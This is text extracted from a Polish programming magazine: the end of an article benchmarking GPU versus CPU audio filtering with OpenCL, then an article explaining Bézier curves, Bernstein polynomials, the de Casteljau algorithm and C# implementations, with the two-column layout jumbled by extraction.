Biquad5Plugin, czyli implementacja pasmowej filtracji częstotliwo- wowych efektów udostępniamy na licencji GPLv3, zachęcając do sa-
ściowej, opartej o zestaw pięciu filtrów IIR drugiego rzędu, zrealizo- modzielnych eksperymentów [8].
wana przez bezpośrednie użycie interfejsu OpenCL. Filtry mają stałe Processing audio na GPU zyskuje na popularności wśród produ-
parametry, poza regulowanym wzmocnieniem. centów treści multimedialnych. Również branża automotive dostrze-
gaja potencjał platformy GPU do realizacji złożonych wielokanało-
wych algorytmów przetwarzania dźwięku. Firma AMD wychodzi
naprzeciw zainteresowanym, dostarczając SDK TrueAudioNext z opcją
rezerwacji części mocy obliczeniowej GPU dla audio. Inną ciekawą ini-
cjatywą wchodzącą na rynek jest platforma GPU Audio [9]. Autorzy
chwalą się zarówno zestawem własnych wtyczek audio w popularnym
Rysunek 9. Interfejs graficzny Biquad5Plugin formacie VST, zoptymalizowanych pod przetwarzanie GPU (equalize-
ry, procesory dynamiki, efekty modulacyjne i pogłosowe), jak i SDK do

GPU VS CPU tworzenia własnych cross-platformowych wtyczek oraz aplikacji.

Jako przykład porównania efektywności przetwarzania audio na CPU


i GPU niech posłuży algorytm Biquad z pięcioma sekcjami na ka-
nał. Test został wykonany na sprzęcie z procesorem CPU AMD Ryzen Źródła
V1780B @3.350MHz, GPU AMD Radeon RX6600 @2.044MHz, 14 CU,
[1] https://forums.developer.nvidia.com/t/why-in-thread-context-switching-there-is-no-
dwoma kanałami audio i próbkowaniem audio 48kHz. need-to-store-state/38196
[2] https://www.khronos.org/opencl/
[3] https://www.dsprelated.com/
[4] https://www.reaper.fm/
[5] https://steinbergmedia.github.io/vst3_doc/
[6] https://juce.com/
[7] https://gpuopen.com/true-audio-next/
[8] https://github.com/GPUAudioTeam/AptivGPUAudio
[9] https://www.gpu.audio/

Rysunek 10. Porównanie czasu obliczeń Biquad5 w funkcji rozmiaru bufora sampli audio
dla GPU i CPU

Wyniki przedstawione na powyższym wykresiej pokazują, że ten mało


wymagający algorytm ma najgorsze wyniki dla konfiguracji z oczeki-
waniem na przetwarzanie GPU. Narzut na kopiowanie danych przez
magistralę PCI-e i na zakolejkowanie kernela do obliczeń jest w tym
przypadku duży. Jeśli CPU zleci wykonanie tych operacji i zajmie się
swoimi zadaniami, to efektywność równoległego zestawu CPU+GPU WIT ZIELIŃSKI, TOMASZ T WARD OWSKI,
jest imponująca. MARTA T WARD OWSKA, ŁUKASZ POLLAK
GPUAudioTeam@aptiv.com

PODSUMOWANIE Łukasz, Marta, Tomek i Witek z Centrum Technicznego Aptiv Kraków TCK
zajmują się projektowaniem, implementacją i weryfikacją przetwarzania
audio w samochodowych systemach Infotainment. Poza regularnymi
„Przetwarzanie audio na procesorze graficznym” do niedawna brzmiało
projektami dla wiodących producentów samochodów eksperymentują
dziwacznie. Jednak otwarcie platformy GPU dla ogólnych obliczeń wek- z dźwiękiem na nowych platformach.
torowych przez języki typu OpenCL umożliwiło przeniesienie masywnie

<44> { 3 / 2023 < 108 > }


ALGORYTMIKA

Krzywe Béziera
Czas porozmawiać o genialnym w swojej prostocie matematycznym konstrukcie, obecnym bo-
daj w każdym obszarze informatyki związanym w jakikolwiek sposób z grafiką komputerową.

RENAULT VS CITROEN Aby uniknąć liczenia silni (lub, co nieco sprytniejsze, skracania
ułamków i obliczania iloczynów), możemy skorzystać z ciekawego
Niełatwo jest znaleźć kogoś, kto nie miał nigdy do czynienia z krzywy- matematycznego konstruktu, jakim jest trójkąt Pascala. Wyobrażamy
mi Béziera. Są one obecne w aplikacjach do edycji grafiki wektorowej go sobie następująco: konstruujemy wiersze zawierające ciągi liczb.
(np. Inkscape, CorelDRAW), rastrowej (GIMP, Adobe Photoshop), W pierwszym wierszu znajduje się jedynka, a każdy kolejny wiersz
trójwymiarowej (Blender, 3D Studio Max, Maya), w aplikacjach typu zawiera zawsze o jedną wartość więcej niż poprzedni. Na skraju znaj-
CAD (np. Fusion 360, AutoCAD), edytorach filmów i animacji (Shot- dują się zawsze jedynki, zaś wartości pomiędzy nimi stanowią sumę
cut, Adobe Premiere), a nawet w pakietach biurowych (Microsoft Of- dwóch wartości znajdujących się bezpośrednio powyżej, w poprzed-
fice, LibreOffice). W dwóch słowach, jeżeli program poważnie pod- nim wierszu. Budowę Trójkąta Pascala możemy zobaczyć na Rysun-
chodzi do tematu i ma cokolwiek wspólnego z grafiką, z pewnością ku 1 (czerwone i niebieskie liczby obrazują sposób obliczania warto-
korzysta w pewnym momencie z krzywych Béziera. ści w kolejnych wierszach).
Przyzwyczaiłem się już trochę do tego, że większość sprytnych
matematycznych wynalazków jest dziełem, no cóż, matematyków
– teoretyków oraz pracowników akademickich. Tymczasem autora-
mi opisywanego rewolucyjnego odkrycia w zakresie konstruowania,
przechowywania i wyświetlania krzywych jest dwóch francuskich in-
żynierów z branży automotive: pracujący w przedsiębiorstwie Renault
Pierre Étienne Bézier oraz (niezależnie) pracownik Citroena, Paul de
Faget de Casteljau. Co ciekawe, prace dotyczące projektowania karo- Rysunek 1. Trójkąt Pascala
serii samochodów prowadzili oni równolegle, a swoją nazwę krzywe
Béziera zawdzięczają temu pierwszemu z nich tylko dlatego, że to Jeżeli teraz rozpiszemy trójkąt Pascala do odpowiedniej wysokości,
przedsiębiorstwo Renault jako pierwsze (pod koniec lat 60. XX wieku) możemy w łatwy sposób wyznaczyć dwumian Newtona dla wartości
zdecydowało się ujawnić wyniki prowadzonych tam prac. n i k: bierzemy po prostu n-ty wiersz (licząc od 0), a potem w ramach
tego wiersza k-tą wartość (również licząc od 0). I tyle!

APARAT MATEMATYCZNY
Wielomiany bazowe Bernsteina
Krzywe Béziera korzystają z wielomianów bazowych Bernsteina, zaś
do zrozumienia tych ostatnich będziemy musieli odświeżyć sobie Wielomiany bazowe Bernsteina zostały nazwane od nazwiska Siergieja
nieco wiedzę na temat symbolu Newtona. Nie jest tego wcale aż tak Bernsteina, który skonstruował je w 1912 roku w celu udowodnienia
dużo, więc miejmy szybko tę matematykę już za sobą. twierdzenia Weierstrassa o przybliżaniu funkcji ciągłych. W oryginale
służyły one do zbudowania wielomianu Bernsteina, ale nam przydadzą
się w nieco innym celu.
Symbol Newtona
Wielomian bazowy Bernsteina definiujemy dla wartości natural-
Symbolem Newtona nazywamy wartość wyznaczoną przy pomocy nych n oraz i takich, że 0 ≤ i ≤ n.
wzoru:

, dla , gdzie Wzór 2. Wielomian bazowy Bernsteina

oraz
Wzór 1. Symbol Newtona Dla przykładu, kolejne wielomiany bazowe Bernsteina dla n=3 wy-
glądają następująco:
Silnia (zapis n!) jest funkcją, która rośnie przeraźliwie szybko – szyb-
ciej nawet od funkcji wykładniczej. Na przykład 2! = 2, 5! = 120, 10!
= 3628800, 13! nie mieści się już w zakresie typu uint, a 21! – w za-
kresie typu ulong (64-bitowa liczba bez znaku). Na szczęście jednak Kiedy popatrzymy na kolejne wielomiany, da się dostrzec pewną pra-
symbol Newtona zachowuje się nieco łagodniej i nie próbuje uciekać widłowość. Jest ona znacznie bardziej wyraźna, gdy narysujemy wy-
do nieskończoności w aż tak gwałtownym tempie. kresy tych funkcji dla zakresu x ϵ [0, 1]:

<46> { 3 / 2023 < 108 > }


/ Krzywe Béziera /

Rysunek 2. Wykres wszystkich wielomianów Bernsteina dla n=3

Rysunek 3. Przykładowe krzywe Béziera 3. stopnia

KRZYWE BÉZIERA Rozbijmy sumę, aby wzór stał się nieco bardziej czytelny:

Mamy już wszystkie części układanki, żeby zaprezentować wzór krzywych


Béziera. Co istotne, mówimy o krzywych Béziera, a nie o krzywej Béziera, Wzór 4. Nieco uproszczony wzór krzywej Béziera stopnia n
ponieważ jest to tak naprawdę rodzina funkcji różniących się od sie-
bie stopniem. Aby przekonać czytelnika, że nie mamy tu do czynienia ze skompli-
Wzór krzywych Béziera stopnia n wygląda następująco: kowaną matematyką,, zobaczmy jeszcze, zanim przejdziemy dalej, jak
wyglądają wzory krzywych Béziera stopnia 2 i 3.

Wzór 3. Krzywe Béziera stopnia n


Wzór 5. Krzywe Béziera 2 i 3 stopnia

{ WWW.PROGRAMISTAMAG.PL } <47>
ALGORYTMIKA

Spróbujmy teraz zagłębić się nieco we wzory, by zobaczyć, czym


tak naprawdę są krzywe Béziera. Oprócz powtarzających się zapisów
oznaczających wielomiany bazowe Bernsteina, we wzorze poja-
wiły się tam nowe wartości oznaczone jako p1, p2, …, pn, stanowią-
ce parametry krzywej Béziera n-tego stopnia. Zatrzymajmy się przy
Wzór 8. Dwuwymiarowa krzywa Béziera
nich przez chwilę.
Aby zrozumieć, dlaczego figurują one we wzorze, musimy przypo-
mnieć sobie, że krzywe Béziera powstały przede wszystkim po to, by Matematyka jest dosyć elastyczna, jeśli chodzi o zapis. Jeżeli pogru-
można było w łatwy sposób je modelować wewnątrz aplikacji graficz- pujemy wszystkie parametry w pary i przyjmiemy, że Pi oznacza
nych. Mówimy przecież o mechanizmie, który miał pomóc w projekto- punkt o współrzędnych (pxi, pyi), to powyższy wzór możemy skrócić:
waniu karoserii samochodów – co komu po krzywej, która wprawdzie
pozwala wymodelować dowolnie skomplikowane kształty, ale jedno-
cześnie wymaga ścisłej, matematycznej wiedzy, by ją zastosować?
Dlatego też każda krzywa Béziera (danego stopnia) zdefiniowana Wzór 9. Skrócona dwuwymiarowa krzywa Béziera
jest przez szereg wartości liczbowych, które bezpośrednio wpływają
na jej kształt. Na przykład krzywe Béziera 3. stopnia dla parametrów Wróciliśmy tym sposobem do oryginalnego zapisu, ale w trakcie
(0, 1, -1, 0) oraz (2, 3, 5, 1) przedstawiono na Rysunku 3. tego procesu przekształciliśmy parametry p w punkty P (nazywane
Jasnym jest, że wartości parametrów wpływają bezpośrednio na punktami kontrolnymi krzywej Béziera). I o ile może się wydawać,
kształt skonstruowanej krzywej. Wciąż jednak operujemy na wykre- że jest to kosmetyczna zmiana skracająca zapis, wbrew pozorom ma
sach funkcji w przedziale [0, 1], a przecież krzywe Béziera mają naj- kolosalne znaczenie dla możliwości manualnego kształtowania prze-
więcej sensu na płaszczyźnie. Wystarczy jednak dokonać niewielkiej biegu krzywej, bo w miejsce manipulacji parametrami liczbowymi
modyfikacji, aby przenieść się do przestrzeni dwuwymiarowej. wprowadza ona możliwość umieszczenia punktów kontrolnych wraz
z krzywą na ekranie i obserwowania, w jaki sposób ich przemieszcza-

DRUGI WYMIAR nie wpływa na jej kształt.

Jesteśmy przyzwyczajeni do tego, że wykres funkcji budujemy po-


JAK TO DZIAŁA?
przez przesuwanie się wzdłuż poziomej osi i wyznaczanie wartości na
pionowej. W przypadku wykresów dwuwymiarowych coś takiego nie Dużo matematycznych konstruktów wymaga skomplikowanej wie-
ma już racji bytu, ponieważ na płaszczyźnie wykres może zawracać, dzy, by dokładnie zrozumieć, jak naprawdę one działają. W przypadku
zapętlać się i układać w dość dowolny sposób. Dlatego też funkcje krzywych Béziera jest zupełnie inaczej – jest tu obecna tak prosta ma-
dwuwymiarowe definiujemy nieco inaczej, niż jednowymiarowe. tematyka, że bez większych problemów powinniśmy ją rozszyfrować.
Ponieważ z oczywistego powodu nie możemy już wybrać żadnej Kluczem do zrozumienia całego algorytmu jest pewien ciekawy
„osi”, wzdłuż której będziemy się przesuwać, wprowadzamy ją w spo- fakt dotyczący wielomianów bazowych Bernsteina. Otóż dla stałej war-
sób sztuczny. Wyobrażamy sobie więc wirtualną oś „t”, wzdłuż której tości t i wybranego stopnia n wszystkie wielomiany bazowe Bernsteina
„przesuwamy się”, wyznaczając kolejne wartości x oraz y naszego wy- tego stopnia sumują się zawsze do 1. Dodajmy też, że w zakresie od 0
kresu. Wzór funkcji dwuwymiarowej wygląda następująco: do 1 wielomiany bazowe Bernsteina są zawsze dodatnie.
W definicji krzywej Béziera n-tego stopnia widzimy, że punkty kon-
trolne (czy też parametry) są przemnażane po kolei przez wszystkie wie-
lomiany bazowe Bernsteina (które – jak się właśnie dowiedzieliśmy – su-
mują się do 1). Czy kojarzycie inny konstrukt matematyczny, w którym
Wzór 6. Funkcja dwuwymiarowa serię liczb mnożymy przez zbiór wartości sumujących się do 1, a następ-
nie dodajemy do siebie? Podejrzewam, że większość z czytelników miała
Na przykład wzór wykresu przedstawiającego okrąg o promieniu r z nim kiedyś do czynienia. To przecież zwykła średnia ważona!
oraz środku w punkcie (a, b) zdefiniujemy tak: Przyjrzyjmy się jeszcze raz Rysunkowi 2. Gdy t = 0, waga pierw-
szego punktu jest równa 1, zaś wszystkie pozostałe – 0. Możemy stąd
wyciągnąć wniosek, że na samym początku konstruowana krzy-
wa pokryje się z pierwszym punktem kontrolnym. Gdy zaczniemy
powoli zwiększać wartość t, zwrócimy uwagę, że waga pierwsze-
Wzór 7. Wzór okręgu na płaszczyźnie
go punktu zaczyna stopniowo maleć, ale jednocześnie rośnie waga
pierwszego punktu kontrolnego (choć nie osiąga ona 1, czyli nie
Wróćmy jednak do krzywych Béziera. Wiemy już, że do wyznacze- mamy gwarancji, że krzywa przez ten punkt przejdzie – jakkolwiek
nia krzywej n-tego stopnia potrzebujemy (n+1) parametrów. Ponie- jest to możliwe). Potem drugi punkt kontrolny traci na znaczeniu,
waż jednak będziemy musieli zdefiniować dwa osobne wykresy dla a na kształt krzywej zaczyna wpływać trzeci punkt kontrolny, aż na
współrzędnych x oraz y, liczba parametrów też się podwoi. Dlatego końcu waga ostatniego punktu kontrolnego rośnie do 1 i krzywa
dwuwymiarową krzywą Béziera zapiszemy następującym wzorem: kończy się dokładnie w miejscu, gdzie ten punkt się znajduje.

<48> { 3 / 2023 < 108 > }


/ Krzywe Béziera /

WŁASNOŚCI IMPLEMENTACJA
Choć stosunkowo nieskomplikowane, krzywe Béziera charakteryzu- Czy samodzielne zaimplementowanie krzywych Béziera jest trudne?
ją się całym szeregiem ciekawych własności. W żadnej mierze. Jeżeli nie przewidujemy zbyt dużych wahań w zakre-
Na początku, z uwagi na ich specyficzną konstrukcję – jako śred- sie stopnia krzywych, to dwumian Newtona możemy zaimplemento-
niej ważonej – warto zauważyć, że poza t = 0 oraz t = 1 każdy punkt wać przy pomocy trójkąta Pascala, a wtedy wielomiany bazowe Bern-
kontrolny wpływa na kształt całej krzywej. Wynika to z faktu, iż poza steina oraz sama krzywa Béziera pozostają już tylko formalnością.
wspomnianymi miejscami waga każdego z punktów kontrolnych jest
Listing 1. Implementacja krzywych Béziera w C#/.NET 6
niezerowa. Z drugiej zaś strony punkty t = 0 oraz t = 1 są kontrolo-
wane tylko i wyłącznie przez skrajne punkty kontrolne, co daje nam public static class Bezier
{
gwarancję, że krzywa w nich się rozpocznie i zakończy. private static List<int[]> pascal = new();
Patrząc na wykresy wielomianów bazowych Bernsteina, możemy private static int Newton(int n, int k)
wywnioskować też, że skonstruowana, końcowa krzywa powinna być {
if (n < 0)
gładka (bo stanowi sumę gładkich funkcji). Matematycznie oznacza throw new ArgumentOutOfRangeException(nameof(n));
to, że funkcja jest nieskończenie różniczkowalna, ale można tę wła- if (k < 0 || k > n)
throw new ArgumentOutOfRangeException(nameof(k));
sność wyjaśnić trochę bardziej przyziemnie – krzywa nie będzie mia-
while (pascal.Count <= n)
ła żadnych przerw ani też ostrych kantów. {
Każda krzywa Béziera jest zawsze zawarta wewnątrz wypukłej if (pascal.Count == 0)
pascal.Add(new int[] { 1 });
otoczki swoich punktów kontrolnych. Innymi słowy, jeżeli w prosto- else
kątnym obszarze znajdują się wszystkie punkty kontrolne krzywej, to {
var row = new int[pascal.Count + 1];
krzywa ta w całości zmieści się w tym obszarze. row[0] = row[^1] = 1;
for (int i = 1; i < row.Length - 1; i++)
Idąc dalej, krzywe Béziera są zawsze styczne w punktach t = 0
{
oraz t = 1 do odcinków zbudowanych ze skrajnych punktów kon- row[i] = pascal[pascal.Count - 1][i - 1] +
pascal[pascal.Count - 1][i];
trolnych (odpowiednio, pierwszego i drugiego oraz przedostatniego }
i ostatniego). Dzięki temu łączenie krzywych Béziera w bardziej zło-
pascal.Add(row);
żone krzywe jest bardzo łatwe, o ile tylko zadbamy o współliniowość }
}
odcinka tworzonego przez dwa ostatnie punkty pierwszej krzywej
i dwa pierwsze drugiej. return pascal[n][k];
}
Pomimo wielkiej elastyczności w zakresie konstruowanych kształ-
private static float Bernstein(int i, int n, float t)
tów krzywe Béziera budowane są z wielomianów, co oznacza, że przy {
ich pomocy nie jest możliwe modelowanie krzywych eliptycznych, if (n < 1)
throw new ArgumentOutOfRangeException(nameof(n));
czyli na przykład okręgów, elips, hiperbol i tak dalej. Warto jednak if (i < 0 || i > n)
mieć na uwadze, że krzywe Béziera wykorzystywane są zwykle do throw new ArgumentOutOfRangeException(nameof(i));
if (t < 0 || t > 1)
wszelkiego rodzaju wizualizacji, co oznacza, że zwykle muszą one throw new ArgumentOutOfRangeException(nameof(t));
aproksymować jakiś kształt tylko na tyle dobrze, żeby nie dało się return (float)(Newton(n, i)
dostrzec różnicy gołym okiem. Dla przykładu, na Rysunku 4 przed- * Math.Pow(t, i)
* Math.Pow(1 - t, n - i));
stawiony jest okrąg oraz aproksymujące go cztery sklejone krzywe }
Béziera 3. stopnia (w sumie 12 punktów kontrolnych). Spróbujcie public static Vector2 Evaluate(Vector2[] points, float t)
ocenić, który jest który. {
if (points.Length < 2)
throw new ArgumentOutOfRangeException(nameof(points));
if (t < 0 || t > 1)
throw new ArgumentOutOfRangeException(nameof(t));

Vector2 result = Vector2.Zero;

for (int i = 0; i < points.Length; i++)


result += points[i]
* Bernstein(i, points.Length - 1, t);

return result;
}
}

Listing 2. Przykładowy program rysujący krzywe

public class Program


{
Rysunek 4. Okrąg i sklejane krzywe Béziera static void Main(string[] args)
{
Bitmap bitmap = new Bitmap(512, 512,
PixelFormat.Format32bppArgb);
using Graphics g = Graphics.FromImage(bitmap);

{ WWW.PROGRAMISTAMAG.PL } <49>
ALGORYTMIKA

using Brush pointBrush =


new SolidBrush(Color.FromArgb(0, 196, 32)); REALIA
using Brush controlBrush =
new SolidBrush(Color.FromArgb(192, 0, 32)); Zaprezentowany chwilę wcześniej program jest bardzo uniwersalny
using Brush curveBrush =
new SolidBrush(Color.FromArgb(0, 32, 192)); i pozwala skonstruować krzywą Béziera dowolnego stopnia. Pamiętaj-
using Pen pointPen = my jednak, że krzywe te powstały przede wszystkim po to, by ułatwić
new Pen(pointBrush, 2); manualne ich konstruowanie w programach typu CAD, a przecież ma-
using Pen controlPen =
new Pen(controlBrush, 2) nipulowanie kilkunastoma punktami kontrolnymi w celu uzyskania
{ określonego kształtu nie brzmi wcale jak proste zadanie – tym bar-
DashPattern = new[] { 5.0f, 5.0f }
}; dziej gdy przypomnimy sobie, że krzywe można łatwo ze sobą skle-
using Pen curvePen = new Pen(curveBrush, 2);
jać. Dlatego też najczęściej spotykanym rodzajem krzywych Béziera
// Modify points here są krzywe 3. stopnia, które stanowią bardzo dobry balans pomiędzy
var points = new Vector2[]
{ prostotą używania a elastycznością w zakresie konstruowania pożą-
new Vector2(100, 100), danych kształtów.
new Vector2(50, 300),
new Vector2(400, 50), Jeżeli przyjmiemy stały stopień krzywych, implementacja oczywi-
new Vector2(350, 450)
ście radykalnie się uprości:
};

// Estimate number of segments Listing 3. Implementacja krzywych Béziera 3. stopnia


float lengthSum = 0.0f;
for (int i = 0; i < points.Length - 1; i++) public static class Bezier3
lengthSum += (points[i + 1] - points[i]).Length(); {
int segmentCount = (int)lengthSum; public static Vector2 Evaluate(Vector2 p1,
Vector2 p2,
// Draw background Vector2 p3,
g.FillRectangle(Brushes.White, Vector2 p4,
new RectangleF(0, 0, bitmap.Width, bitmap.Height)); float t)
// Draw points {
for (int i =0; i < points.Length; i++) if (t < 0 || t > 1)
{ throw new ArgumentOutOfRangeException(
g.DrawRectangle(pointPen, nameof(t));
new RectangleF(points[i].X - 5, return p1 * (float)Math.Pow(1 - t, 3) +
points[i].Y - 5, p2 * 3 * (float)Math.Pow(1 - t, 2) * t +
10, p3 * (1 - t) * (float)Math.Pow(t, 2) +
10)); p4 * (float)Math.Pow(t, 3);
} }
// Draw control public static Vector2 Evaluate(Vector2[] points,
for (int i = 0; i < points.Length - 1; i++) float t)
{ {
g.DrawLine(controlPen, if (points.Length != 4)
new PointF(points[i].X, points[i].Y), throw new ArgumentOutOfRangeException(
new PointF(points[i + 1].X, points[i + 1].Y)); nameof(points));
}
return Evaluate(points[0],
// Draw curve points[1],
for (int i = 0; i < segmentCount; i++) points[2],
{ points[3],
float t1 = (float)i / segmentCount; t);
float t2 = (float)(i + 1) / segmentCount; }
var p1 = Bezier.Evaluate(points, t1); }
var p2 = Bezier.Evaluate(points, t2);

g.DrawLine(curvePen, new PointF(p1.X, p1.Y),


new PointF(p2.X, p2.Y));
RENDEROWANIE
}
Przypuśćmy, że zajdzie potrzeba ręcznego wyrenderowania krzywej
bitmap.Save(@"D:\Bezier.png");
}
Béziera. Najłatwiej jest zrobić to, traktując ją jako bardzo gęstą łamaną
} – czyli dzieląc na małe odcinki. Może to brzmieć jak rozwiązanie pry-
mitywne, ale w większości przypadków jest ono całkowicie wystarcza-
jące – o ile tylko we właściwy sposób dobierzemy granularność podzia-
łu. Ta natomiast zależy od medium, na którym chcemy wyrenderować
kształt. Jeśli jest to ekran komputera, wystarczy, że najkrótszy odcinek
będzie nie dłuższy niż jeden piksel.
Jednym ze sposobów na oszacowanie gęstości podziału jest wyzna-
czenie długości krzywej, ale nie jest to niestety zbyt łatwe zadanie. Wzo-
rem na długość krzywej opisanej dwiema funkcjami x=f1(t) i y = f2(t) jest:

Rysunek 5. Efekt działania programu z Listingu 1 Wzór 10. Długość krzywej parametrycznej

<50> { 3 / 2023 < 108 > }


/ Krzywe Béziera /

Jeżeli teraz podstawimy pod f1 i f2 wzory krzywej Béziera trzecie- }


while (!precisionReached);
go stopnia, otrzymamy formułę tak skomplikowaną, że obliczenia jej
return (lastLength, divisions);
odmówiła zarówno Maxima, jak i Wolfram Alpha. }
W miejsce dokładnych obliczeń możemy zastosować pewne przy- }

bliżenie: długość łamanej zbudowanej z kolejnych punktów kontrol-


nych (widocznych na Rysunku 5 jako czerwone, przerywane linie). Po uruchomieniu powyższej metody dla przykładowej krzywej otrzy-
Ponieważ wiemy, że krzywa Béziera przechodzi jedynie przez skrajne małem następujące wyniki:
punkty kontrolne, a pozostałe tylko przybliża, możemy wywniosko-
wać, że długość łamanej będzie zawsze większa lub w skrajnym przy- Liczba seg- Liczba
Dokładność Długość
mentów podziałów
padku równa długości krzywej. Niestety jednak, często jest to war-
0,1 474,9997 64 5
tość dosyć mocno zawyżona. W przypadku krzywej przedstawionej
0,01 475,0245 256 8
na Rysunku 5 łamana ma długość 1039.3844 pikseli, co stanowi prze-
0,001 475,02634 1024 10
szło dwukrotność długości krzywej, o czym zaraz się przekonamy.
Istnieje jednak prosty sposób na obliczenie długości krzywej z zada- Tabela 1. Wyniki pomiaru długości krzywej
ną dokładnością. Zaczynamy od poprowadzenia odcinka od pierw-
szego do ostatniego punktu kontrolnego (jak pamiętamy, krzywa za- Miejmy na uwadze, że jednostką długości są piksele – obliczenie dłu-
wsze przez nie przebiega). Długość tego odcinka stanowi oczywiście gości z dokładnością do 0.1 piksela powinno wystarczyć w przeważa-
jakieś przybliżenie długości krzywej, ale oczywiście nie ma co spo- jącej liczbie przypadków.
dziewać się cudów. Na podstawie osiągniętych wyników można byłoby teraz wysnuć
Jeżeli przyjmiemy, że f(t) jest funkcją opisującą naszą krzywą, to wniosek, że wystarczy podzielić krzywą na 475 odcinków, by każdy
odcinek, który skonstruowaliśmy, przebiega od punktu f(0) do punk- z nich był krótszy od piksela. Niestety, również i to nie jest praw-
tu f(1). Wprowadzamy teraz dodatkowy punkt, dzielący istniejący dą. Przyczyną takiego stanu rzeczy jest fakt, iż krzywe Béziera mają
przedział na pół, czyli f(0,5) (tu dygresja: choć koncepcja taka jest zmienną prędkość. Wyrenderujmy raz jeszcze naszą przykładową
kusząca, punkt ten wcale niekoniecznie leży w geometrycznym środ- krzywą, wstawiając 20 markerów rozmieszczonych równomiernie
ku krzywej!). względem wartości t (czyli w punktach 0, 0.05, 0.1, …, 0.85, 0.9, 1).
Mamy teraz trzy punkty – prowadzimy więc dwa odcinki: jeden
od f(0) do f(0,5) oraz drugi od f(0,5) do f(1). Teraz obliczamy ich
długości i sumujemy – otrzymaliśmy nieco lepsze oszacowanie dłu-
gości krzywej. Następnie dzielimy istniejące przedziały na połowy
i otrzymujemy cztery odcinki: od f(0) do f(0,25), od f(0,25) do f(0,5),
od f(0,5) do f(0,75) i wreszcie od f(0,75) do f(1). Proces ten możemy
powtarzać tak długo, aż nie wyznaczymy długości krzywej z zadowa-
lającą nas dokładnością.

Listing 4. Szacowanie długości krzywej Béziera

public static class BezierMath


{
public static (float length, int divisions) EvalLength(
Func<Vector2[], float, Vector2> bezier,
Vector2[] points,
Rysunek 6. Zmienna prędkość krzywej
float precision = 0.1f)
{
int divisions = 0;
Widać wyraźnie, jak krzywa na początku zwalnia, by potem przyspie-
float lastLength = float.MaxValue;
bool precisionReached; szyć i osiągnąć swoją maksymalną prędkość na końcowym odcinku.
do Jeżeli więc podzielimy ją na 475 odcinków, okaże się, że najkrótszy
{ mierzyć będzie 0,6344416 piksela, zaś najdłuższy – aż 2,542091.
divisions = divisions == 0 ? 1 : divisions * 2;
Wbrew pozorom nie jest to jednak wcale aż tak wielki problem w
float length = 0.0f;
kontekście renderowania. Zauważmy bowiem, że w miejscach, w któ-
for (int i = 0; i < divisions; i++)
rych odcinki są najdłuższe, krzywa „porusza się” z największą pręd-
{
var t1 = (float)i / divisions; kością, co w efekcie bardzo ją w tym miejscu wypłaszcza. Wyrende-
var t2 = (float)(i + 1) / divisions;
rowanie jej z mniejszą granularnością nie wpłynie więc zbytnio na
var p1 = bezier(points, t1); końcowy efekt.
var p2 = bezier(points, t2);
Zmienna prędkość krzywej Béziera jest oczywiście również pro-
length += (p2 - p1).Length();
} blemem w sytuacji, w której chcielibyśmy wykorzystać ją jako tor
precisionReached = ruchu jakiegoś obiektu przemieszczającego się z jednostajną prędko-
Math.Abs(length - lastLength) < precision; ścią. Z uwagi na brak analitycznych rozwiązań pozostaje nam stabli-
lastLength = length;
cowanie długości segmentów i wyznaczenie odpowiednich wartości

{ WWW.PROGRAMISTAMAG.PL } <51>
ALGORYTMIKA

t ręcznie. Co – dodajmy – nie jest wcale najłatwiejszym zadaniem, Konstruujemy teraz trzy odcinki łączące kolejne punkty kontrolne,
w dużej mierze z powodu nawarstwiających się błędów numerycz- a następnie wyznaczamy na nich punkty stanowiące podział tych od-
nych (Rysunek 7). cinków w miejscu wyznaczonym parametrem t (czyli jeśli t = 0, będzie
to punkt początkowy odcinka, dla t =1 – punkt końcowy, t = 0,5 ozna-
Listing 5. Równomierne rozmieszczenie markerów na krzywej (fragment metody)
cza środek odcinka itp.).
int markerCount = 20; Tym sposobem otrzymamy trzy nowe punkty: nazwijmy je q1, q2
(float length, int divisions) = BezierMath.EvalLength(
Bezier.Evaluate, points, 0.1f); oraz q3. Powtarzamy teraz cały proces, budując dwa odcinki pomię-
float[] fromStart = new float[divisions]; dzy tymi punktami, a następnie dzieląc je znów w miejscu wyznaczo-
float sum = 0.0f; nym przez parametr t; teraz otrzymaliśmy dwa punkty: r1 oraz r2. Na
for (int i = 0; i < divisions; i++)
{ koniec dzielimy ostatni odcinek, otrzymując punkt s1, równoważny
var t1 = (float)i / divisions; szukanemu punktowi na krzywej dla zadanego parametru t.
var t2 = (float)(i + 1) / divisions;
Na Rysunku 8 przedstawiono symbolicznie realizację algorytmu
var p1 = Bezier.Evaluate(points, t1);
var p2 = Bezier.Evaluate(points, t2); de Casteljeau dla wartości t = 0,25.
sum += (p2 - p1).Length();
fromStart[i] = sum;
}

var marker = -1;


for (int i = 0; i < fromStart.Length; i++)
{
var newMarker = (int)(markerCount *
(fromStart[i] / sum));
if (newMarker > marker)
{
var t = (float)i / (fromStart.Length - 1);
var p = Bezier.Evaluate(points, t);
g.FillEllipse(markerBrush, new RectangleF(
p.X - 5, p.Y - 5, 10, 10));
marker = newMarker;
}
} Rysunek 8. Symulacja algorytmu de Casteljeau

Można byłoby zapytać: po co stosować algorytm de Casteljeau, je-


śli wystarczy wstawić parametr t do wzoru krzywej, by natychmiast
otrzymać odpowiedni punkt?
Cóż, jeśli zależy nam tylko na wyznaczeniu punktu na krzywej, to
oczywiście w takim przypadku łatwiej jest zastosować wzór. Przy po-
mocy algorytmu de Casteljeau możemy jednak nie tylko wyznaczać
punkty na krzywej, ale również dzielić ją na mniejsze w wyznaczo-
nym miejscu!
Spójrzmy na Rysunek 8. Punktami kontrolnymi oryginalnej krzy-
wej są oczywiście p1, p2, p3 i p4. Gdybyśmy teraz chcieli podzielić ją
w punkcie t=0,25, wystarczy zrealizować algorytm de Casteljeau, by
otrzymać dwa nowe zestawy nowych punktów kontrolnych: p1, q1, r1
oraz s1 dla pierwszej krzywej oraz s1, r2, q3 oraz p4 dla drugiej. Sumą
Rysunek 7. (Bardziej) równomiernie rozmieszczone markery
dwóch krzywych wyznaczonych tymi punktami kontrolnymi będzie
wówczas nasza oryginalna krzywa.
Nieco bardziej precyzyjne wyniki osiągniemy, jeżeli podzielimy krzy-
wą na jeszcze większą liczbę segmentów.
NOTACJA SVG
ALGORYTM DE CASTELJEAU Przyjrzeliśmy się już krzywym Béziera w skali mikro, a teraz popatrz-
my jeszcze na nie przez chwilę w skali makro.
Krzywe Béziera otrzymały swoją nazwę od nazwiska pracownika Re- Jak wspomniałem na wstępie, krzywe Béziera są obecne bodaj w każ-
nault, ponieważ to właśnie ta firma jako pierwsza zdecydowała się dej aplikacji związanej w jakikolwiek sposób z grafiką. W praktyce
